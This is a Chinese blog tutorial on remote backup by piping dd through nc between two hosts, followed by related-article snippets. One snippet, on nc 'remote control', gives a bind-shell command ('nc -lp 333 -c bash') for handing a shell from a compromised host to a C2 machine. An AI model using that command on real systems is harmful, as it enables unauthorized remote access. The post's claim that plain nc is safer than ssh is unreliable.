dd和nc遠端備份

2022-07-29 06:51:09 字數 841 閱讀 9027

dd命令在之前的文章中已經講解的很詳細了,這篇文章主要是dd結合nc這個強大的網路工具實現不同主機之間的遠端備份

預設的情況下rhel的系統都已經安裝了nc工具了

[root@client ~]#rpm -qf /usr/bin/nc//檢視nc依賴的軟體包

nc-1.84-22.el6.i686

1、接受備份的客戶端使用nc開啟乙個隨機的埠

[root@client ~]#nc -l 12345 | dd of=/tmp/test.dd

2、傳送備份端執行如下命令

[root@server ~]#dd if=facter-1.6.6.tar.gz | nc 192.168.1.200 12345是需要備份的檔名

記錄了230+1 的讀入

記錄了230+1 的寫出

117880位元組(118 kb)已複製,0.208046 秒,567 kb/秒

[root@server ~]#

3、檢視客戶端終端內容如下

[root@client ~]#nc -l 12345 | dd of=/tmp/test.dd

記錄了229+3 的讀入

記錄了230+1 的寫出

117880位元組(118 kb)已複製,4.71706 秒,25.0 kb/秒

[root@client ~]#

//說明接收完成

相比ssh來說個人認為要較安全一點,雖然過程稍微繁瑣一些。因為無需讓傳送方知道自己的密碼,只需接收方告訴傳送方開啟的埠號即可。

使用dd指令備份和恢復Ubuntu

linux自帶的dd指令可以備份分割槽。dd if dev 你需要備份的分割槽 of 輸出的映象路徑 status progress 如果ubuntu系統掛了。用u盤啟動臨時ubuntu,進入後,用 dd if 輸出的映象路徑 of dev 你需要備份的分割槽 status progress 進行恢...

nc 遠端控制

nc 做遠端控制 原理實際上和之前的傳文字一樣,伺服器端起監聽,客戶端端去鏈結,之後監聽的伺服器端傳乙個自己的shell過去到客戶端 正向 偵聽方為肉雞,c2 訪問肉雞 server nc lp 333 c bash client nc nv 1.1.1.1 333 或者反向 偵聽方為c2,肉雞訪問...

dd命令備份Linux系統

資料丟失帶來的損失是相當昂貴的。關鍵資料的丟失會對各種規模的企業帶來影響。有幾種方法來備份linux系統,包括rsync的和rsnapshot等。本文提供有關使用dd命令備份linux系統的6個例項。dd是乙個功能強大的unix工具,由linux核心的makefile進行引導映像,它也可以用來複製資...